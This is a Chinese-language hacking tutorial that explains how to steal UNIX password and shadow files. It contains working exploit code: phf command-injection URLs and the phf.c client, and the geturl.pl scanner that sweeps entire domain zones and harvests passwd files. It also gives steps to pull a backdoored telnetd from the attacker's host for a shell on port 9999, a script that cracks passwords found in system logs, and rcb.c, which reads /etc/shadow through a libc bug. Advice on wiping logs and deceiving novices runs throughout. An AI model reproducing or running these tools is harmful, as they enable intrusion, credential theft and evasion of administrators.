--------------------------------------------------------------------------------

目錄:
PHF:WWW的PH查詢
PHF查詢攻擊新方法
從新手處獲取
獲取shadow密碼檔
獲取/etc/hosts檔

本文列舉了幾種從UNIX系統獲取密碼檔的方法。其中大多數方法要求你擁有一個
有效帳號;但也有不需帳號也可訪問系統的方法。在這裡你還能知道完整的密碼檔與
shadow密碼檔的區別,並學習到如何讀取shadow密碼檔。



--------------------------------------------------------------------------------

PHF:WWW的PH查詢


如果在WWW的cgi-bin的目錄下有一個名為phf的可執行(具有x權限)程序,那麼你就
可以通過WWW或LINUX的文本瀏覽器lynx訪問它。該功能允許你讀取系統上的文件,如
/etc/passwd等,並保存在本地機上。

以下是我們所需要做的。如果httpd服務器是由root根用戶運行的,通過使用phf,我
們可以成為該服務器的root用戶;甚至修改服務器上某個用戶的密碼。

這裡有一個perl腳本,它對使用上一章中的getdomain.pl腳本所得到的結果進行檢測,
並檢查運行服務器的用戶。如果是root用戶,它就記錄其id;如果不是root用戶,則會自動
從/etc目錄下讀取passwd檔,並保存為domain.???.passwd文件。

我還會給出另一個腳本,它允許你從一個shell中運行一條命令。只要該系統有phf,
你就可以在shell中輸入一命令行,通過管道命令傳送到遠程系統上執行。

OK。現在你該知道下一步是什麼了?讓我們來學習如何利用phf。

把你最喜愛的web瀏覽器或是UNIX系統中經常使用的lynx文本瀏覽器連接到網絡上。

在瀏覽器窗口或屏幕出現後,鍵入g(譯者註:即使用瀏覽器的「go」功能)。便會
出現以下內容(譯者註:以lynx為例):

URL to open:
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

在URL to open: 處輸入:http://xxx.org/cgi-bin/phf/?Qalias=x%0aid

URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0aid
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

返回如下內容:

QUERY RESULTS



/usr/local/bin/ph -m alias=x id

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)


以上內容表明:運行服務器的用戶是nobody。因此,我們便成為了該服務器的nobody
用戶。雖然我們還不是root用戶,但必將是。 ;-)

命令行:

http://afp.org/cgi-bin/phf/?Qalias=x%0aid

id是一個命令,它要求服務器返回用戶的id。有時我們需要給出全路徑,比如:http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id

注意%0a後面是命令行內容。如果你想輸入一個空格符,就要用%20代替,以下是經常
要用到的幾個命令行:(以%0a開始)

顯示passwd密碼檔:
%0a/bin/cat%20/etc/passwd

獲取/etc目錄下所有以pass開始的詳細文件列表:
%0als%20-al%20/etc/pass*

如果你有訪問http的root用戶權限,備份passwd文件為passwd.my文件:
%0acp%20/etc/passwd%20/etc/passwd.my

更改root用戶密碼(服務器往往會允許你這樣做 ;-) ):
%0apasswd%20root

(以上命令可以讓你在以root用戶登錄時不需輸入密碼,(譯者註:也就是更改root用戶
的密碼為空,然後再telnet該主機。)別忘了將passwd.my恢復為passwd(譯者註:恢復
root用戶的舊密碼),刪除備份文件,然後你就可以運行一個合適的shell,並將其隱藏起來
作為嗅探器(sniffer)來獲取所需的密碼了。)

只要你知道如何在UNIX中輸入命令,同時沒有忘記使用%20來代替空格符,你就不會遇
到什麼困難!

OK。現在讓我們來獲取本例中的passwd檔吧。;-)

URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd

我們將會看到:


QUERY RESULTS



/usr/local/bin/ph -m alias=x cat /etc/passwd

root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

(一個小小的密碼檔 ;-) )

如果你希望保存這個文件,只要在文本瀏覽器中選擇「打印」和「保存
為文件」即可。

現在讓我們瞭解一下paaswd檔的結構:

mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
1 :2 :3 :4 :5 :6 :7

1=用戶名 2=被加密的密碼 3=用戶標識 4=用戶組id 5=真實名字
6=用戶根目錄 7=shell

好。假設你不想使用WWW瀏覽器,編譯並執行以下腳本也可以達到目的:

phf.c
------ cut here----

/* Some small changes for efficiency by snocrash. */
/*
* cgi-bin phf exploit by loxsmith [xf]
*
* I wrote this in C because not every system is going to have lynx. Also,
* this saves the time it usually takes to remember the syntatical format
* of the exploit. Because of the host lookup mess, this will take
* approximately 12 seconds to execute with average network load. Be patient.
*
*/

#include
#include
#include
#include
#include
#include
#include

int main(argc, argv)
int argc;
char **argv;
{
int i = 0, s, port, bytes = 128;
char exploit[0xff], buffer[128], hostname[256], *command, j[2];
struct sockaddr_in sin;
struct hostent *he;

if (argc != 3 && argc != 4) {
fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
exit(1);
}

command = (char *)malloc(strlen(argv[1]) * 2);

while (argv[1][i] != '\0') {
if (argv[1][i] == 32) strcat(command, "%20"); else {
sprintf(j, "%c", argv[1][i]);
strcat(command, j);
}
++i;
}

strcpy(hostname, argv[2]);
if (argc == 4) port = atoi(argv[3]); else port = 80;

if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
he = gethostbyname(hostname);
if (he) {
sin.sin_family = he->h_addrtype;
memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],
he->h_length);
} else {
fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
exit(1);
}
}
sin.sin_family = AF_INET;
sin.sin_port = htons((u_short) port);

if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
fprintf(stderr, "%s: could not get socket\n", argv[0]);
exit(1);
}

if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
close(s);
fprintf(stderr, "%s: could not establish connection\n", argv[0]);
exit(1);
}

sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command);
free(command);
write(s, exploit, strlen(exploit));
while(bytes == 128) {
bytes = read(s, buffer, 128);
fprintf(stdout, buffer);
}
close(s);
}

-------- cut here

使用舉例:

bash% phf id xxx.org

------

Query Results



/usr/local/bin/ph -m alias=X
id

 
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
------

以上是系統對程序的響應。再說一次,使用%20代替命令行中的空格符。
使用如下格式可顯示passwd檔:

phf cat%20/etc/passwd hostname.xxx

另外,Quantumg在他的主頁上提供了利用phf的新方法,我覺得有必要讓大家
瞭解一下。

內容如下:


--------------------------------------------------------------------------------

Phf 查詢攻擊新方法


是的。我知道phf攻擊已經是眾所周知了,但你會奇怪為什麼還有那麼多笨的
LINUX用戶。。。

首先...先介紹一下背景:

phf是Apache上WWW服務器的cgi-bin命令。它存在缺陷,其後果是允許任何人以運行
http服務器用戶的身份執行命令。通常該用戶是nobody,但有時是root。要利用這一
缺陷,只需簡單地連接了該WEB服務器,並執行以下查詢:

GET /cgi-bin/phf/?Qalias=X%0a

其後跟著你所希望運行的命令(用%20代替空格符)。

OK。以下是攻擊方法。我們所要做的就是尋找存在phf漏洞的LINUX服務器。(我
經常telnet到issue.net查找。)和大多數人一樣,我使用Loxsmith編寫的phf程序。
該程序要求把目標主機名放在第二個參數,而所要執行的命令放在第一個參數:

phf id www.host.to.hack

這裡id就是所要執行的命令,這往往是我第一步都會做的。因為它不僅告訴你此
系統是不存在此漏洞,還可以提供httpd用戶的信息。因此,如果我們得到一個理想
的響應,那就意味它就是我們的目標了。第一件事是獲取目標主機上的有用資料,
這並不是一件難事。你可以 (1)、檢查是否有可讀寫的ftp目錄;(2)使用rcp
(這是我最喜歡用的)。為了使用這個命令,你需要對本地主機進行設置。(如果
本地主機是你hack過的,那就好辦多了。)首先是獲得有效的用戶帳號,名字應該
簡單而不易被注意(如:test);其次,把目標主機名寫入本地主機的/etc/host.equiv
中;接著就是在/etc/inetd.conf中必須有shell行;最後,在用戶(test)根目錄下建立
含有目標主機名和httpd用戶的.rhost文件。如下:


/etc/hosts.equiv:
www.host.to.hack

/etc/inetd.conf:
shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L

~test/.rhosts:
www.host.to.hack nobody

好。一旦一切都設置好了,便可以從遠程主機上獲取資料了。

我以前採用的hack方法,都是將經過多次修改的小hack代碼傳送給phf執行。
這並是一件輕鬆的事情,而且效率也不高。現在我找到了一個更好的解決辦法
被傳送的是一個經過修改的in.telnetd,它被改為在「debug」方式下啟動,「debug」
方式將允許從端口9999登錄,而且執行的shell是/bin/sh,而不是/bin/login。
該in.telnetd允許在端口9999接受任意多的連接和執行shell。

因而,為了使遠程主機做到這一點,所要做的就是將其放入用戶根目錄,
並確保可讀。然後執行:

phf 'rcp test@my.ip.address:bindwarez /tmp' www.host.to.hack

在本地日誌文件中,你會看到一個與in.rshd的連接和它所執行的命令(如:
rcp -f bindwarez)...當phf執行完後,bindwarez會被複製到遠程主機上的/tmp
目錄下,於是你便可以執行這個文件並遠程登錄到端口9999。

如果這個網站的用戶笨到以root運行http,你就可以通過安裝一個in.telnetd
特洛木馬並清除日誌,以獲得root用戶的密碼。然而,在大多數情況下,你只能
獲得nobody權限,需要通過系統的其它漏洞去「黑」root用戶。我常常發現這並不
困難,因為系統管理員往往認為沒有人會在WWW服務器上運行shell,因而沒有必要
設置安全系統。很顯示,他們並不瞭解自己的系統是否存在phf缺陷。

在這裡,我不必再次強調清除日誌的重要性。你在rcp命令中輸入的地址是可以讓
系統管理員輕易發現的。這些日誌通常在/usr/local/etc/httpd/logs或/var/lib/http/logs下。
最簡單的方法是在這些路徑上查找它。如果找不到,可以執行find / -name cgi-bin。
另外,不要忘記清除indwarez進程和刪除/tmp/bindwarez文件。


這個非常巧妙的攻擊方法讓phf做你想做的事,而phf對此卻無可奈何。 ;-))

L8s

QuantumG


另一個利用phf的方法就是執行以下腳本。它使用了從rs.internic.net下載並用
getdomain.pl分析出的域名文件。geturl.pl腳本可以探測網絡上的每一台domain。

腳本內容如下:

geturl.pl
--------- cut here

#!/usr/bin/perl -w
#
# geturl by Nfin8 / Invisible Evil
# Questions to: /msg i-e or /msg i^e
#
# Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/usr/bin/id
# Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
# IF result of first command returns an "id=" then check for user. If user
# is not root then execute the 2nd form.

# Assign null list to @URLs which will be added to later.
my(@URLs)=();
my($program) = "lynx -dump";

# Pull off filename from commandline. If it isn't defined, then assign default.
my($URLfilename) = shift;
$URLfilename = "urls" if !defined($URLfilename);

# Do checking on input.
die("GetURL: $URLfilename is a directory.\n") if (-d $URLfilename);

# Open and read contents of URL file into @URL by line.
open(FILE, $URLfilename) or die("GetURL: Cannot open $URLfilename for input.\n");
@URLs = ;
close(FILE);

# Open output file.
open(OUTFILE, ">>GetURLResults") or die("GetURL: Cannot open output file.\n");

my($url)="";
foreach $url (@URLs) {
print ("Now checking: $url");
chomp($url);
$result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/usr/bin/id`;
print OUTFILE ("\n============ $url ============\n");
foreach (split(/\n/, $result)) {
print OUTFILE ("$_\n");
}
if ($result =~ m/id=/i) {
if ($result =~ m/root/i) {
print ("Logging root response.\n");
} else {
print ("Got ID response, getting /etc/passwd...");
$result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd`;

# Output results to file named .passwd;
local($domainfilename)="";
$domainfilename = $url;
if (open(PASSWDFILE, ">${domainfilename}.passwd")) {
print PASSWDFILE ("\n");
foreach (split(/\n/, $result)) {
print PASSWDFILE ("$_\n");
}
close(PASSWDFILE);
print ("Done! [$domainfilename].\n");
} else {
print ("FAILED! [$domainfilename].\n");
}
}
}
}

# We are done. Close the output file and end the program.
close (OUTFILE);


0;

------------- cut here

OK。這很簡單吧。如果你定義了自己的域名文件urls,也可以使用geturl.pl。

以下是腳本文件說明:

這個輕巧的工具非常容易使用。它可以幫助你取得root用戶權限和從不同的
domain獲取passwd密碼檔。

geturl.pl試圖記錄Internet上每台domain對phf的響應結果。你可以選擇.com .edu
.org .mil .gov或是需要探測的IP地址列表。一旦發現具有root權限的用戶,便在結果
文件中記錄uid=root,然後繼續探測下一台domain。如果phf探測器找到的用戶沒有
root權限,它就會讀取該domain上的passwd密碼檔,並在當前目錄下以domain.???.passwd
文件名保存。

以下是此工具的使用說明:

ftp到rs.internic.net站點

在domain目錄下尋找:

com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz

下載這些文件並對目標主機所屬域名文件運行getdomain.pl,如:

perl getdomain.pl com.zone com >com.all

該腳本會分析出.com域的所有主機名並輸出到文件com.all中。

如果希望分析.edu域,輸入:

perl getdomain.pl edu.zone edu >edu.all

你便會有一個供geturl.pl使用的文件edu.all。

使用geturl.pl的格式如下:

geturl.pl

用edu.all或com.all代替
如果你定義了域名文件urls,運行geturl.pl時不需

運行結果被記錄到當前目錄下的GetURLResults文件中。

1. geturl.pl使用lynx進行搜索(lynx要在查找路徑中)。

2. 如果geturl.pl發現在一個url的httpd上獲得了root權限,就會記錄該root用戶。
如果http用戶不是root,但該用戶具有在http上執行phf權限,就會抓取該
domain的passwd檔,並以fulldomainname.passwd的文件保存到當前目錄下。

3. 你也可以提供包含了IP地址列表的文件供geturl.pl使用。

4. 我使用的是OS/2的lynx和perl,在長文件名方面沒有遇到問題。我在UNIX機
進行了測試,該程序也可以正常工作。


你需要:

1. Perl在查找路徑中
2. Lynx在查找路徑中
3. 長文件名(256字符)支持(如UNIX或OS/2)
4. 本文所列出和包含的所有文件
5. 從Internic站點下載的域名文件或自行製作的url或IP列表文件(取名為urls,
運行時僅輸入geturl.pl)


注意事項:

如果你有一個現金付費的互聯網帳號或通過hack而得到的帳號使用此工具來獲取
成果,那就最好了。然後便可以用另一個安全的帳號使用你的勞動成果了。但我並不
必警告你這些,對吧?我對這些工具並不覺得羞恥。這裡提供的工具是讓你們檢查
domain的安全性。;-)


getdomain.pl: 分析.org .com .edu .mil .gov等internic域名文件
geturl.pl: 檢測並記錄每一台domain的響應結果
GetURLResults: geturl.pl程序的結果記錄文件



這裡還有另外一種方法:

如果你能讀取/var/adm/messages文件,或許你能輕而易舉地得到一些用戶的密碼!
我曾經採用這種方法獲得過root用戶的密碼!

還記得有多少次你是急著登錄的嗎?你可能因此而在login:裡輸入了密碼:這種
事情是很容易發生的。這樣你就會出現兩次登錄失敗,系統就在這個時候胡所動作了。
例如:(假設你很急著登錄而沒有留意屏幕)

Login: (你鍵入回車(而你此時並不知道))
Password: (你以為現在開始登錄了,便輸入用戶名)
Login: (然後輸入用戶密碼)

此時系統會在messages文件中產生如下記錄:

Login: (這裡是你的用戶密碼!!!)
Password ****** (系統當然不會給你看見密碼了!?但由於你在Login:處輸入了
用戶密碼,只要我們有讀取messages文件的權限,就會得到用戶密碼,並供crackerjack
運行(以找出對應的用戶)。如果是在一個小型系統,或許...就是root密碼!;-))


以上這些工作可以由以下腳本輕易完成!


對於Quantum的bindwarez文件,你可以在附錄中找到。

------------ cut here

#!/bin/sh
# Under a lot of linux distributions(I know Redhat 3.0.3 and Slackware 3.0)
# /var/log/messages is world readable. If a user types in his password at
# the login prompt, it may get logged to /var/log/messages.
#
# I could swear this topic has been beaten to death, but I still see this
# problem on every linux box I have access to.
#
# Dave G.
# 12/06/96
#
# http://www.escape.com/~daveg

echo Creating Dictionary from /var/log/messages, stored in /tmp/messages.dict.$$

grep "LOGIN FAILURE" /var/log/messages | cut -d',' -f2 | cut -c2- | sort | uniq >> /tmp/messages.dict.$$

if [ ! -e ./scrack ]
then
echo "Creating scrack.c"
cat << ! > scrack.c
#include
#include
#include
#include
#define get_salt( d, s ) strncpy( d, s, 2 )
void
main(argc,argv)
int argc;
char **argv;
{
struct passwd *pwd;
FILE *fp;
char buff[80], salt[3], *encrypted_string;

if ( ( fp = fopen( argv[1], "r" ) ) == NULL )
{
fprintf( stderr, "Couldnt find dict file\n" );
exit(1);
}
while ( fgets( buff, 80, fp ) != NULL )
{
setpwent();
buff[strlen(buff)-1]='\0';
while ( ( pwd = getpwent() ) != NULL )
{
if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 &&
( strlen( (*pwd).pw_passwd ) == 13 ) )
{
get_salt(salt, (*pwd).pw_passwd );

encrypted_string = crypt( buff, salt );
if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 )
{
fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff);
fflush(stdout);
}
}
}
}
}
!
echo "Creating scrack"
cc -O6 -fomit-frame-pointer -s -o scrack scrack.c
fi

./scrack /tmp/messages.dict.$$

echo /tmp/messages.dict.$$, ./scrack, and ./scrack.c still exist, delete them yourself.

------ cut here


--------------------------------------------------------------------------------

從新手處獲取

好。重複一次,這是獲取密碼的另一種方法。只要按照第二章所談到的相關
內容去做就行了。運用你的智慧去與那些尚未成熟的「新手」交朋友吧。;-)

對了。在閱讀本手冊前,你可能曾經也是別人的「新手」朋友呢!;-)


--------------------------------------------------------------------------------

獲取shadow密碼檔


什麼是shadow密碼檔呢?

舉個例子,如果你利用上述方法取回來的passwd檔,其內容如下:

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
man:x:13:15:man:/usr/man:
postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:x:-2:100:nobody:/dev/null:
ftp:x:404:1::/home/ftp:/bin/bash
guest:x:405:100:guest:/dev/null:/dev/null
bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:x:502:100:Web Master:/home/web:/bin/bash
mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash

是不是少了點東西?噢,被加密的密碼。如果你有root權限,就會在/etc/shadow中
找到這些被加密的密碼。某些系統管理員會將shadow檔隱藏到其他隱蔽的目錄下。但
多數情況下,你可以在/etc目錄下找到。有一些shadow程序會將密碼保存到master.passwd
文件中。但只要你有root權限,總有地方可以找到它。

現在,假設你有一個有效帳號,但沒有root權限。

如果主機使用的是libc5.4.7(多數系統都使用它 ;-) ),而且下列文件之一要求
必須有suid權限:

ping, traceroute, rlogin, or, ssh

1. 輸入bash或sh以啟動一個bash shell
2. 輸入: export RESOLV_HOST_CONF=/etc/shadow
3. 輸入以上文件名之一,並加上asdf參數,如:

ping asdf

如果一切正常,你就會得到shadow密碼檔。
這個方法對於我這幾天在許多系統中進行的測試均很有效。

註:你可用所希望讀取的文件名(文件擁有者是root)來取代/etc/shadow。

以下腳本可以讓你輕而易舉地讀取所需要的文件:

rcb.c
-------- cut here

/* RCB Phraser - therapy in '96
* Limits: Linux only, no binary files.
* little personal message to the world: FUCK CENSORSHIP!
*/

#include

void getjunk(const char *filetocat)
{ setenv("RESOLV_HOST_CONF",filetocat,1);
system("ping xy 1> /dev/null 2> phrasing");
unsetenv("RESOLV_HOST_CONF");
}

void main(argc,argv)
int argc; char **argv;
{ char buffer[200];
char *gag;
FILE *devel;

if((argc==1) || !(strcmp(argv[1],"-h")) || !(strcmp(argv[1],"--help")))
{ printf("RCB Phraser - junked by THERAPY\n\n");
printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]);
exit(1);
}
getjunk(argv[1]);
gag=buffer;
gag+=10;
devel=fopen("phrasing","rb");
while(!feof(devel))
{ fgets(buffer,sizeof(buffer),devel);
if(strlen(buffer)>24)
{ strcpy(buffer+strlen(buffer)-24,"\n");
fputs(gag,stdout);
}
}
fclose(devel);
remove("phrasing");
}

-------------- cut here

命令行:rcb /etc/shadow (或其他你在這個系統中不能讀取的文件。;-) )



--------------------------------------------------------------------------------

獲取/etc/hosts檔


需要注意的是,有時你需要知道有哪些系統在hosts文件中,或在這個系統中有哪些
其他domain和所有的IP地址,因此,不要忘了讀取/etc/hosts文件以獲得以後你可能需要的
資料。



--------------------------------------------------------------------------------

arrow
arrow
    全站熱搜

    Neo Chao 發表在 痞客邦 留言(0) 人氣()